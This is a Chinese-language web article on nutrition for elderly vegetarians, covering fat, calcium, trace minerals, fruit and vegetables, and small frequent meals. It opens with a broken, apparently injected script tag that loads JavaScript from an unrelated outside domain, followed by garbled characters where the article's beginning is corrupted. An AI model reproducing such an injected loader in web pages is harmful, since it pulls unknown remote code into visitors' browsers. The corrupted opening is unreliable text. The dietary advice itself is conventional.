?script type='text/javascript' src='http://www.368tea.com/js/v.js'>场⒑侠砼氲鳌⒖蒲а≡?/p>

　　老人饮食应清淡可口，但适量油脂是老人生活和营养所必需的。人体缺乏脂肪会造成能量不足以及脂溶性维生素和必需脂肪酸的缺乏，但过多的油脂，即使是植物油，对人体的健康也是不利的。因此，素食老人每天应摄入适量的植物油。

　　素食老人很可能发生钙、铁、锌和硒的不足。钙与老年骨质疏松症有密切关系，老年人每天需要摄入８００毫克以上的钙，以延缓骨质疏松症的发生或减轻其症状。在日常食物中以乳类所含的钙为最佳，其次是豆类，蔬菜和谷类中虽也含有较多的钙，但由于受植物酸的影响，人体吸收利用率低。为此，素食老人每天应饮用１－２杯豆奶，并经常摄食豆制品和海带等含钙丰富的食物，豆制品中又以豆腐衣、腐竹等含钙量高。植物性食物中的铁、锌、硒也不易被人体所吸收，而通过酵母发酵过的面食可降低植物酸的含量，从而提高锌和其他微量元素的吸收利用，素食老人可多选用馒头、面包等作主食。

　　新鲜的蔬菜、水果，特别是红、绿色的蔬菜、水果是胡萝卜素和维生素Ｃ的良好来源，素食老人每天至少应摄入５００克以上的新鲜果蔬。红枣、花生、核桃等干果类是我国传统的药食同源的食物，红枣具有补中益气、养血安神之功，花生具有润肺和胃、养血调气之功，核桃具有健脑补肾、益气健脾之功，同时这些食物也是含豆油酸和维生素 丰富的食品。黑豆、黑米、黑芝麻、黑木耳等黑色食品含有丰富的铁和其他微量元素，不仅有助于预防贫血，其中的某些成分还可以提高人体免疫功能。

　　４、合理进餐、饥饱适度

　　老人由于内分泌的改变和消化酶分泌的相对减少，对饥饱的调控能力较差，往往饥饿时会发生低血糖，过饱时会增加心脏负担。尤其是净素食老人，耐饥性较差，因此，应少食多餐，饥饱适度，按时进食。一般每日最少进食三餐，最好在三次主餐之外，增加两三次点心，可选食豆奶、豆腐脑、红枣莲心汤、花生糊、核桃酪、芝麻酱、各种咸甜粥、松软糕点、水果等食品。对食量较小、胃口较差的老人，还可适当补充一些维生素和无机盐制剂，如多元维生素、硒酵母片等，以满足其营养需要。

　　总之，吃素的确有利于身体，还可以减肥瘦身，让皮肤光泽，延缓衰老，但是也有可能使你营养不均衡，引起上面我们提到的各种营养素缺乏和摄取不足等问题。所以确保身体健康的正确做法只有荤素搭配，营养全面，平衡膳食，才是通往健康的长寿之路。若有些老人习惯和喜欢吃素，也一定要精心安排，正确调配好每天的膳食，这样才能达到营养合理、增进健康的目的。